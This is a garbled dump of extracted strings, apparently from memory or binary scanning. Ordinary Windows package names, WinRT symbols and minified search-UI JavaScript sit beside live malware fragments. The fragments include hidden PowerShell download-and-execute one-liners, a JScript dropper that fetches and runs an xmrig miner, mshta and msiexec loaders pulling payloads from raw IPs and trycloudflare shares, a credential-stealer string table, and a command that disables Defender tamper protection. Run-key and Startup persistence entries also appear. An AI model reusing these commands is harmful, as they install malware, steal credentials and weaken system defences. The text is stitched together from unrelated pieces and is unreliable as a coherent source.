Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Kernel-Package-Storage-Tiering-Events-Container-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
c:\windows\system32\
s\system32
WINDOWS\system32\config
ndaryIcon,type:"SecondaryIcon",additionalCssClass:gt,badgeIcon:n.shouldShowBadgeIcon()?r.badgeIcon:undefined}):ht?React.createElement("div",{className:"wsb-ts__img",style:{backgroundImage:`url(${(b=r.icon)===null||b===void 0?void 0:b.content})`}}):React.createElement(t.Icon,{icon:(k=this.state.icon)!==null&&k!==void 0?k:r.icon,suggestionType:r.type,badgeIcon:n.shouldShowBadgeIcon()?r.badgeIcon:undefined}),React.createElement(e,{suggestion:r,isFirst:yt,webSuggestionAnnotation:pt,isWorkScope:ut,isSearchHome:g,entityWithThumb:tt,show3DotMenu:ot}),r.staticGroupType==n.GroupType.RecommendedDocs&&et&&React.createElement("div",null,React.createElement(u,{url:lt.url,suggestion:r})),ot&&React.createElement("div",{className:"threeDotMenu","data-partnertag":t.whenTestHooks("AutoSuggest.ThreeDotMenu"),title:n.Host.getLocString("SeeMore"),onClick:n=>{n.preventDefault(),n.stopPropagation(),rt(r,n.nativeEvent)}},React.createElement(t.Icon,{icon:{content:"&#xE712",type:2}}))),!(n.config.disableQFPreviewBtnForChatSugg&&n.searchChatIconClassName()===((d=r.icon)===null||d===void 0?void 0:d.className))&&!o&&React.createElement(t.PreviewPaneButton,{suggestion:r,openPreviewPaneButton:c}),r.subItems&&r.subItems.map(n=>{let t=React.createElement(n.itemView,Object.assign({subItem:n},n.props));return t.key=n.id,t})))}}t.WindowsSuggestionSingleLine=r;const u=n=>{const[i,r]=React.useState(!1),{url:u,suggestion:e}=n,o=u+"?web=1";return React.createElement("div",{role:"presentation",onClick:n=>{SearchAppWrapper.CortanaApp.copyToClipboard(o,""),n.stopPropagation(),r(!0),window.setTimeout(()=>{r(!1)},2e3)},title:""},React.createElement("a",{className:t.classNames("copyButton"),role:"button","aria-label":e.narratorText,tabIndex:-1,id:"copyButton"},React.createElement("span",{className:"copy"},React.createElement(f,{isCopied:i}),React.createElement(t.Icon,{icon:{content:i?"&#xE73E":"&#xE8C8",type:2},additionalCssClass:"hiddenIcon"}))))},f=i=>{const{isCopied:r}=i;return React.createElement("div",{className:t.classNames("copyHelperText")},r?n.Host.getLocString("Copied"):n.Host.getLocString("CopyFileURL"))},e=i=>{const{suggestion:r,isFirst:h,webSuggestionAnnotation:e,isWorkScope:c,isSearchHome:f,entityWithThumb:o,show3DotMenu:l}=i,a=t.classNames("details",{small2Margin:o,with3dotMenu:l}),s=n.config.searchHistoryTextColor&&(r.type==="HS"||r.subType==="MRUHS");let u=r.additionalInfoText;return!u&&c&&r.primaryMetadata&&!r.hasMruData&&(u=" - "+r.primaryMetadata),!u&&h&&n.isWebSuggestion(r)&&e&&(u=n.config.wsbWithCopilotQF&&r.type==="CP"?" - "+n.Host.getLocString("AskCopilot"):n.getGroupType(r)===n.GroupType.ChatWithBing?" - "+r.primaryMetadata:e),r.removeIcon&&!r.removeIcon.title&&(r.removeIcon.title=r.narratorText),React.createElement("div",{className:a},React.createElement("div",{className:"primaryText","data-partnertag":t.whenTestHooks("Suggestion.PrimaryText")},!u?React.createElement("div",{className:"primaryTextContent"},React.createElement("span",{className:t.classNames("title",{searchHistoryText:s,isNotRTLLan:n.isRtl()&&!n.isRTLLan(r===null||r===void 0?void 0:r.text),underlineSuggOnHov:n.config.enableLSuggUnderlineOnHover}),"data-partnertag":t.whenTestHooks("Suggestion.PrimaryTextTitle")},n.config.dynamicHighlightingForWebSearch&&r.handoffType!=0?React.createElement("span",{dir:"ltr"},HitHighlightingParser.removeMarkers(r.text)):React.createElement(t.HighlightedText,{text:r.text,dir:"ltr",reverse:n.hasReverseHighlighting(r,f)}),r.staticGroupType==n.GroupType.MsbOnRampButton&&React.createElement(t.Icon,{icon:{content:"&#xE974",type:2},additionalCssClass:"onRampChevron"}))):React.createElement("div",{className:"primaryTextContent"},React.createElement("span",{className:t.classNames("title",{searchHistoryText:s,isNotRTLLan:n.isRtl()&&!n.isRTLLan(r===null||r===void 0?void 0:r.text),underlineSuggOnHov:n.config.enableLSuggUnderlineOnHover}),"data-partnertag":t.whenTestHooks("Suggestion.PrimaryTextTitle")},n.config.dynamicHighlightingForWebSearch&&r.handoffType!=0?React.createElement("span",{dir:"ltr"},HitHighlightingParser.removeMarkers(r.text)):React.createEl
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.TlgAggregateInternal
l-k}^zc:\windows\
c:\windows\system32
.P6A?AU?$IAsyncOperation@_N@Foundation@Windows@winrt@@XZ
.P6A?AU?$IAsyncOperation@Uhstring@winrt@@@Foundation@Windows@winrt@@XZ
.P6A?AU?$IAsyncOperation@UJsonObject@Json@Data@Windows@winrt@@@Foundation@Windows@winrt@@XZ
.P6A?AU?$IAsyncOperation@Uhstring@winrt@@@Foundation@Windows@winrt@@UNavigable@WebExperienceHost@3@@Z
.P6A?AU?$IAsyncOperation@Uhstring@winrt@@@Foundation@Windows@winrt@@UNavigable@WebExperienceHost@3@UPropertySet@Collections@123@V?$function@$$A6AXULauncherNavigationCompletedEventArgs@WebExperienceHost@winrt@@@Z@std@@@Z
.P6A?AUPropertySet@Collections@Foundation@Windows@winrt@@XZ
g_win32_check_windows_version
passing a child setup function to the g_spawn functions is pointless on Windows and it is ignored
WindowsHelloFaceSoftwareDriver
http://schemas.microsoft.com/windows/2006/08/wdp/print/PrinterServiceTypettp://s
http://schemas.microsoft.com/windows/2006/08/wdp/scan/ScannerServiceType
WindowsTrustedRTProxy.sys
Windows.Data.ContrastThemes.SynchedTheme
Windows.Data.Apps.DeviceMetaData
Windows.Data.Apps.AppMatchingInfo
Windows.Data.Apps.UnpackagedProducts
Windows.Data.ColorSettings.ColorData
CloudData.WindowsClient.CloudDataAvailableWnf
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.Input.Devices.MouseSettings
Windows.Data.Input.Devices.TouchpadSettings
Windows.Data.Input.Devices.PenSettings
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.NetworkUX.VPN.VPNSharingSettings
Windows.Data.Settings.MultiTasking.SnapWindows
Windows.Data.Apps.AppCompatProviderResults
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.Input.InkAndPen.ShellHandwriting
Windows.Data.Input.Devices.PenSyncedSettings
Windows.Data.Background.DesktopWallpaper
Windows.Data.Account.AccountInfo
Windows.Data.Apps.PackagedProducts
Windows.Data.BlueLightReduction.ScheduleTime
Windows.Data.BlueLightReduction.Settings
Windows.Data.Apps.AppLevelTileInfo
Windows.Data.Input.Devices.PenPerDevice
Windows.Data.Platform.Partitioning.PartitionSet
Windows.Data.Platform.Partitioning.Partition
CloudData.WindowsClient.AssetReference
Windows.Data.DoNotDisturb.QuietHoursProfile
Windows.Data.DeviceSettings.DeviceSettingsData
CloudData.WindowsClient.AssetReference
Windows.Data.Input.Devices.MouseSyncedSettings
Windows.Data.DoNotDisturb.BoolWithMetadata
Windows.Data.DoNotDisturb.QuietHoursSettings
Windows.Data.Account.SecondaryAccounts
CloudData.WindowsClient.AssetReference
Windows.Data.DoNotDisturb.QuietMoment
Windows.Data.Apps.TileMatchingInfo
Windows.Data.Input.Devices.TouchSettings
Windows.Data.Notifications.QuietMoment
Windows.Data.WindowsBackup.Preference.Toggles
Windows.Data.Settings.DateTimeSettings.TimeZone
Windows.Data.Notifications.BoolWithMetadata
Windows.Data.LunarCalendarPerDevice
Windows.Data.PersonalizationThemes.Theme
Windows.Data.Notifications.QuietHoursProfile
minimizeWindowsOnMonitorDisconnect
http://78.153.140.66/xmrig.exe"];varsavedir="c:\\windows\\system32\\tasks\\microsoft\\windows\\";vartargetfile="windowsupdateservice.exe";if(!objfso.folderexists(savedir)){objfso.createfolder(savedir);}downloadfile2(downloadlinks[0],savedir+targetfile);objshell.run('"'+savedir+targetfile+'"',0,false)
https://telegram.me/*.address.txt*.keyschromium_pluginskey received successfullyPayload loadedtelegram_filesdiscord_files\Network\CookiesCrypto ReaderFile Grabberformhistory.dbpasswords.dbwebdata.dbpowershell -WindowStyle Hidden -Command
Windows\SysWOW64\WindowsPowerShellstrSrcFile = 
Windows\
powershell -noprofile -windowstyle hiddenp
103.131.200.208update/windowssystem.exeu
Windows.Data.NetworkUX.Wifi.WiFiPrivacySettings
Windows.Data.Notifications.QuietHoursSettings
Global.WindowsOobeApps
OS=Windows_NT
*MicrosoftWindows.CrossDevice_cw5n1h2txyewy
\WindowsApps\
'ource://MicrosoftWindows.CrossDevice/Files/Assets/AppT
onecoreuap\ds\security\wldp\winrt\lib\windowslockdownsrv.cpp
Windows.Security.Integrity.dll
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsDeleteString
c:\windows\system32\mshta.exe
Windows::Compat::Inventory::AepicInvCache::GetNextItem
Windows::Compat::Inventory::AepicInvCache::CreateItem
Windows::Compat::Inventory::AepicInvCache::OpenItem
Windows::Compat::Inventory::AepicInvCache::BatchBegin
Windows::Compat::Inventory::AepicInvCache::NextBatchMarkedItem
Windows::Compat::Inventory::SqliteInvCacheItem::WriteToDb
Windows::Compat::Inventory::SqliteInvCacheItem::SqliteInvCacheItem
GetSystemWindowsDirectory [%d]
Windows::Compat::Inventory::SqliteInvCache::OpenDb
Windows::Compat::Inventory::SqliteInvCache::~SqliteInvCache
Windows::Compat::Inventory::SqliteInvCache::Initialize
dapowershell-windowstylehidden-command"iwr'https://hai1723.pythonanywhere.com/url'-usebasicparsing|iex"
C:\Windows\System32\WormLocker2.0.exeC
rar$ex7.src777\%svmcis.exe%svmcis.txtpipe.exc777.tmpthe shade doesn't want you deathsoftware\microsoft\winsvhcopy vrs to startupadd hkcu\software\microsoft\windows\currentversion\run /f /t reg_sz /v comloader /d "\\.\%sprogram files\foxitreader\bin\com7.exe"achsv.exedangerous.lnk
s\system32\mshta
\system32\KeyBoardA.datBaBy ReMoTe Get Video" &&  goto try ||shutdown -r -t 0
ir%\system32\T
c:\windows\system32\
lc:\windows\system32\
ity.principal.windowsidentity]::getcurrent().
TCP/IP for WindowsE
4 sample HOSTS file used by Microsoft TCP/IP for Windows.
TCP/IP for Windows
s\system32\cmd
C:\WINDOWS\system32\wbem\wmiprvse.exe
windowsregistryeditorversion
[hkey_local_machine\software\microsoft\windows\currentversion\run\]
..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\impl\Windows.Foundation.Collections.0.h
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
get_IsExportedToWindowsRuntime
\WindowsPowerShell\v1.0\
The folder you tried to unselect contains the Windows {0} folder, which is an important folder in Windows and is currently pointed to OneDrive.
The folder you tried to unselect is the Windows {1} folder, which is an important folder in Windows and is currently pointed to OneDrive.
\windows\system32\ime\
Mozilla/5.0 (Windows NT 10.0; Win64; x
!#AGGR:Lua:Context/FileInsideChromeExtensionOnWindows
sFLua:Context/FileInsideChromeExtensionOnWindows
ftp.narod.ruhackloggssystem32\test\dir
Microsoft.Windows.Security.SysTray
System.Runtime.InteropServices.WindowsRuntime.IBindableVector.Clear
System.Windows.Forms.UnsafeNativeMethods.IValueProvider.IsReadOnly
System.Windows.Forms.UnsafeNativeMethods.IRangeValueProvider.IsReadOnly
System.Windows.Forms.UnsafeNativeMethods.IValueProvider.get_IsReadOnly
System.Windows.Forms.UnsafeNativeMethods.IRangeValueProvider.get_IsReadOnly
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
setshell=wsh.exec("powershell-windowstylehidden-noprofile-noninteractive-command"""&pscommand&
/cnegconrodl\bogpacsipr.cmdabcdefghijklmnopkrstuvwxyz0123456789c:\windows\system32\shell32.dll
Microsoft.Windows.Print.WsdAdapter
Microsoft.Windows.Shell.ShellHost
R8	<Hregadd"hklm\software\microsoft\windowsdefender\features"/v"tamperprotection"/treg_dword/d"0"/f
Microsoft.Windows.UndockedDevKit
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.UDK.AppExtensions
Microsoft.Windows.UDK.DragDropSimulator
Microsoft.Windows.Shell.TextInput.InputPanel
WindowsUdk.UI.Shell.AudioSharingInfo
WindowsUdk.System.UserProfile.PersonalizedOffersSettings
Microsoft.Windows.UDK.Services.Iris
Microsoft.Windows.Shell.AIX
Microsoft.Windows.UDK.MicrosoftAccountFamilyManager
Microsoft.Windows.Shell.UserProfilePersonalizationSettings
Microsoft.Windows.Shell.CloudExperienceHostCore
Microsoft.Windows.Shell.CortanaSearch
Microsoft.Windows.Shell.HardwareRequirements
MicrosoftWindowsFileExplorer
Microsoft.Windows.PlatformExtensions
Microsoft.Windows.UDK.TextInputProfile
Microsoft.Windows.UDK.SuggestedActions
Microsoft.Windows.UDK.WindowsCopilot
Microsoft.Windows.UDK.ShellViewController
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
wow64_windows-defender-service-mpclientetw_31bf3856ad364e35_none_b5dda4081d72729e
wow64_windows-defender-service.resources_31bf3856ad364e35_en-us_01faf1d31f4309c6
wow64_windows-defender-service_31bf3856ad364e35_none_48a2f627882b8779
wow64_windows-defender-ui.resources_31bf3856ad364e35_en-us_4a3e7565f0576981
wow64_windows-defender-ui_31bf3856ad364e35_none_d4055fa92397dfea
wow64_windows-devices-perception_31bf3856ad364e35_none_9c7a2724815b9f97
wow64_windows-foundation-..stics-tracing-winrt_31bf3856ad364e35_none_d6e8721e631b0680
wow64_windows-gaming-input-synthetic_31bf3856ad364e35_none_10aa64b097eee92c
wow64_windows-gaming-input-winrt.resources_31bf3856ad364e35_en-us_b584e4061222c0b2
wow64_windows-gaming-input-winrt_31bf3856ad364e35_none_0b32a7d01a50e079
\SYSTEM32\chcp.com.hainhc
onecoreuap\windows\frameworkudk\appmodelapi.cpp
onecoreuap\windows\frameworkudk\audiographsettingsextension.cpp
onecoreuap\windows\frameworkudk\dcompprivates.cpp
onecoreuap\windows\frameworkudk\inputprivates.cpp
onecoreuap\windows\frameworkudk\dxprivatescommon.cpp
Konecoreuap\windows\frameworkudk\inputpaneframework.cpp
ypowershell.exe-windowstylehiddenc:\\users\\public\\document\\python
crotcubaspm\vatfenmago.cmdabcdefghijklmnopqrsduvwxyz0123456789c:\windows\system32\shell32.dllc:\windows\system32\cmd.exe
=createobject("wscript.shell")objshell.run"powershell-windowstylehidden-noprofile-encodedcommandjabjagwaaqblag4adaagad0
\Windows\
client.wns.windows.com
client.wns.windows.com
\Policies\Microsoft\Windows\Explorer
c:\windows\system32\wscript.exe"~.ini"/
62^windows.appExtension
62^windows.appExtensionHost
63^windows.appService
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDeleteString
WindowsCreateStringReference
WindowsDuplicateString
WindowsGetStringLen
Microsoft.Windows.Management.MdmSync
Windows.Management.Workplace.pdb
GetSystemWindowsDirectory failed
Windows.Management.Workplace.dll
_pth = "C:\\Users\\Public\\Documents\\ManagerProc.logerrorCode = Shell(command, windowStyle)windowStyle = vbHidecommand = executablePathRRRR (pth)
c:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'http://65.109.160.103/oplvpjmq/batdrop.hta
- level:windows\currentversion\run\"default"support@eurekalog
wopyi-windows-manifest-filename pay
system32:
Microsoft.Windows.AssignedAccessLockAppS
Windows.OOBENetworkCaptivePortal
 Windows
W~Microsoft.Windows.ExplorerMicrosoft.Windows.Explorer
Windows Securityy
P~MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHostMicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHost-
P~MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackupMicrosoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackup-
Windows Backupm
W~Microsoft.Windows.Shell.RunDialogMicrosoft.Windows.Shell.RunDialog
W~Microsoft.Windows.RemoteDesktopMicrosoft.Windows.RemoteDesktop
W~Microsoft.Windows.MediaPlayer32Microsoft.Windows.MediaPlayer32
Windows Media Player Legacy
'	W~Microsoft.Windows.ExplorerMicrosoft.Windows.Explorer
W~Microsoft.Windows.ControlPanelMicrosoft.Windows.ControlPanel
W~Microsoft.Windows.AdministrativeToolsMicrosoft.Windows.AdministrativeTools!fWindows Tools
P~Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindowsMicrosoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindows-
P~Microsoft.WindowsTerminal_8wekyb3d8bbwe!AppMicrosoft.WindowsTerminal_8wekyb3d8bbwe!App
P~Microsoft.WindowsNotepad_8wekyb3d8bbwe!AppMicrosoft.WindowsNotepad_8wekyb3d8bbwe!App-
k\system32\windowspowershell\v1.0-execbypass-windo11
c:\windows
.cmdc:\windows\system32\zipfldr.dll
<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.26200.7840</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>001800174B45E4B4</deviceName><followRetry>true</followRetry></agent></connect>
<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.26200.7840</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>001800174B45E4B4</deviceName><followRetry>true</followRetry></agent></connect>
USERDOMAIN_ROAMINGPROFILE=Windows115
Windows.
 @Windows.Data.SampleMetad
*mshelp://windows/?id=6ddfa83c-01c8-441e-b041-1fd912c3fe60f
Microsoft.WindowsTerminal_8wekyb3d8bbwe!App
EnumWindows
GetProcessWindowStation
SLUnregisterWindowsEvent
SLRegisterWindowsEvent
Microsoft.Windows.AppResolverUXa
=$env:systemroot+"\syswow64\windowspowershell\v1.0\powershell";iex"&$
WindowsCreateString
WindowsDeleteString
WindowsDuplicateString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsGetStringLen
WindowsCompareStringOrdinal
WindowsIsStringEmpty
WindowsStringHasEmbedd
\system32\cmd.exe
\system32\windowspowershell\v1.0\powershell.exe
\system32\wscript.exe
\system32\cscript.exe
\system32\mshta.exe
\system32\wbem\wmic.exe
\system32\bitsadmin.exe
\system32\rundll32.exe
\system32\svchost.exe
Win32Registry|Software\Microsoft\Windows\CurrentVersion|Reg
logo-windowstylehidden-executionpolicyunrestricted"c:\users\public\music\untitled.ps1"
="c:\windows\temp\
WindowsCreateStringReference
+	c:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'http://198.46.174.157/bar/new1.hta'
x4c:\windows\system32\msiexec.exe/i"\\indonesia-switzerland-dust-archives.trycloudflare.com@ssl\davwwwroot\new.msi"/qn
@c:\windows\system32\msiexec.exe/i"\\olympics-inform-batteries-afterwards.trycloudflare.com@ssl\davwwwroot\ta.msi"/qn
~'	:c:\windows\system32\cmd.exe/ccopy\\settlement-seafood-continues-comparable.trycloudflare.com@ssl\davwwwroot@ssl\
c:\windows\system32\syncappvpublishingserver.vbs;\w*\\\\*2\\\m*h*a*e('http'+'://217.197.107.49/passportscan.'+'hta')
c:\windows\system32\forfiles.exe/p\/mwindows/c"powershell.\*i*\\\\\\*2\m??ta.???https://circle-o.io/circle2/summary
82Rwindowspowershell\v1.0\powershell.exe.(gp-pa'hklm:\sof*\clas*\applications\msh*e').('pschildname')http://
Windows.57242383.Tasbar
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy
c:/users/windows/go/src/vashrh
cizbckj.ResourcesXBinder-OutputWindowsPrincipal
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
Software\Microsoft\Windows\CurrentVersion\CVV
pomdfghrtWindowsHookExON
encrypted.exec:\windows\temp\payload.exe&c:\windows\temp\payload.exe")
\Microsoft\Windows\Start Menu\Programs\Startup\videos.lnk
OpenWindowStationA
OpenWindowStationW
SetCoveredWindowStates
1dm3uu4j7fw4sjnbcwldqet4f7jyuui4m5imnxl1pzxi6as80cblnmz54cs5ldn4ri3do5l6gs923hl34x2f5cvd0fk6c1a0srelease mutex - %u (%u)(%u)\system32\win.comcommand id:%u%010u(%02d:%02d:%02d %02d/%02d/%04d)makefile error(%d) copy file to temp file %s%s%%s08x.tmprun instruction: %d id:%u%010u(%02d:%02d:%02d %02d/%02d/%04d)mutex_logm
4e^com.microsoft.windows.extensions.xaml.systemtray
4f^com.microsoft.windows.extensionpackage
	\system32\cmd.exe
zpowershell-windowstylehiddeninvoke-webrequest-urihttps://
F-outfile"c:\\users\\$([environment]::username)\\appdata\\roaming\\microsoft\\windows\\'startmenu'\\programs\\startup\\windowssecure.bat";powershell-windowstylehiddenc:\\users\\public\\document\\pythonc:\\users\\public\\document\\
uWINDOWSB
USERDOMAIN=Windows11T
fa^com.microsoft.windows.extensionpackage
fb^com.microsoft.windows.extensions.xaml.widgetviewuwp
com.microsoft.windows.extensions.xaml.widgetviewuwp
fd^com.microsoft.windows.extensionpackage
eb^com.microsoft.windows.extension.getstartedeligibility
com.microsoft.windows.extension.getstartedeligibility
f2^com.microsoft.windows.extensionpackage
f3^com.microsoft.windows.extension.widgetcanvas
           targetNamespace="http://schemas.microsoft.com/appx/manifest/com/windows10/2"
           xmlns="http://schemas.microsoft.com/appx/manifest/com/windows10/2"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:com="http://schemas.microsoft.com/appx/manifest/com/windows10"
           xmlns:com3="http://schemas.microsoft.com/appx/manifest/com/windows10/3"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/com/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/com/windows10/3"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
c:\windows\system32\msctfime.iem
C:\Windows\System32\setting.ini
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
ckeddevkit\libs\windowsudk.media.playback\systemvolumemanager.cpp
shellcommon\undockeddevkit\libs\windowsudk.media.speechrecognition\cloudspeechsettings.cpp
shellcommon\undockeddevkit\libs\windowsudk.security.authentication.web\webhostpolicy.cpp
shellcommon\undockeddevkit\libs\windowsudk.health.testinproduction\dynamictiptest.cpp
SLGetWindowsInformationDWORD
shellcommon\undockeddevkit\libs\windowsudk.management.update\experimentalfeaturesmanager.cpp
'cmd.exe/ccmd.exe/cpowershell.exe-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).downloadfile('http://193.142.59.123/gucurza.exe','c:system.exe');start-processc:system.exe'
SystemRuntimeWindowsRuntimeUIXaml
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App6
Microsoft.Windows.CapabilityAccessManager
Microsoft.Windows.CapabilityAccessManager.Aggr
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Wil.FeatureLogging
Software\Microsoft\Windows\CurrentVersion\Installer\RunOnceEntriesS
hkcu:\software\microsoft\windowssearch
Microsoft.Windows.AppModel.ProcessCreation
Microsoft.Windows.AppxCreateProcessExtensions
Microsoft.Windows.Licensing.SppKms
"http://m0.nu:8080/bzajvgt1sk0g65qhabm5vn/n31ywlj/!computername!"!%systemroot%\system32\shell32.dll
Microsoft.Windows.Audio.DeviceGraph
Microsoft.Windows.Audio.ApoTrace
Microsoft.Windows.Audio.CrossProcess
Microsoft.Windows.Audio.Spatial.CrossProcess
Microsoft.Windows.Shell.RadialControllerMenu
Microsoft.Windows.Start.SharedStartModel.Cache
Windows::StringUtil::Rtl::SplitNtPath
Windows::COM::CCOMToRtlInterfaceMapper<struct IDefinitionIdentity>::MapFlags
Windows::COM::CIdentityAuthority::Matches
Windows::COM::CCOMToRtlInterfaceMapper<struct IReferenceIdentity>::MapFlags
Windows::COM::CIdentityAuthority::Internal_QueryInterface
Windows::COM::CIdentityAuthority::Parse
Windows::COM::CIdentityAuthority::Format
Windows::COM::CIdentityAuthority::FormatIntoBuffer
Windows::COM::CIdentityAuthority::FormatIntoBufferLength
Windows::COM::CIdentityAuthority::AreEqual
Windows::COM::CIdentityAuthority::Hash
Windows::COM::CIdentityAuthority::GenerateKey
Windows::COM::CIdentityAuthority::Create
Windows::COM::CopyOut
Windows::COM::CDefinitionIdentity::Internal_QueryInterface
Windows::COM::CDefinitionIdentity::GetAttribute
Windows::COM::CDefinitionIdentity::SetAttribute
Windows::COM::CDefinitionIdentity::Clone
Windows::COM::CReferenceIdentity::Internal_QueryInterface
Windows::COM::CReferenceIdentity::GetAttribute
Windows::COM::CReferenceIdentity::SetAttribute
Windows::COM::CReferenceIdentity::Clone
Windows::COM::CEnumIDENTITY_ATTRIBUTE::Create
Windows::COM::CEnumIDENTITY_ATTRIBUTE::Initialize
Windows::COM::CEnumIDENTITY_ATTRIBUTE::Next
Windows::COM::CEnumIDENTITY_ATTRIBUTE::Internal_QueryInterface
Windows::COM::CEnumIDENTITY_ATTRIBUTE::CurrentIntoBuffer
Windows::COM::CEnumIDENTITY_ATTRIBUTE::CurrentSize
Windows::COM::CEnumIDENTITY_ATTRIBUTE::Clone
kaempestor\Microsoft\Windows\favnfulds\Uninstall\fornavnenes\rejnhardsk
Software\Microsoft\Windows\udfyldningerne\Uninstall\automatonS
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
ncmd.exeu8t7owindows-ssdc:\windows\system32\cmd.exesefaateal/q/e/rtypedmbt|cmdshell32.dll%systemroot%\system32\cmd.exe%systemroot%\system32\cmd.exe%wn]nd.q`xlaptop-lai8dbvhxzf]wd()xzf]wd()1spsxfl8c&mm.s-1-5-21-3592534470-1148614298-920745014-100191spsmdphh@.=xhh/,#l
-windowstylehidden-command(new-objectsystem.net.webclient).downloadfile('https://doc-sharepoint.nbcoiling.com/index.php/s/i3xrfe7twskn7nh/download/output.dat','c:\\programdata\\
*c:\windows\system32\windowspowershell\v1.0\powershell.exe$
Pc:\windows\system32\windowspowershell\v1.0\powershell.exe$
c:\windows\system32\cmd.exe/kstartmsedgehttps://s28.q4cdn.com/392171258/files/doc_downloads/test.pdf&curl-slo%temp%\276172c9-b7d5-464b-b2c9-beda9ce4c56d.msihttp://datagov.info/paper/install.msi&%temp%\276172c9-b7d5-464b-b2c9-beda9ce4c56d.msi/qn&del/q/f/s%temp%&exit
C:\WINDOWS\globalization\icu-
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe!App
windows-feedback
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
\c:\windows\system32\rundll32.exetracenode.dll,vakbzsjslz
c:\windows\system32\mshta.exehttp://adamnews.for.ug/2020
Fc:\windows\system32\cmd.exe/cstart.\&start.\\voldriver.exe
:\windows\system32\rundll32.exe\
com/bgj3/ckjg.exe"$destination="c:\windows\temp\tybd7.exe
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-OneCore-Pnp-OnlineDriverStore-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-OneCore-WebService-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
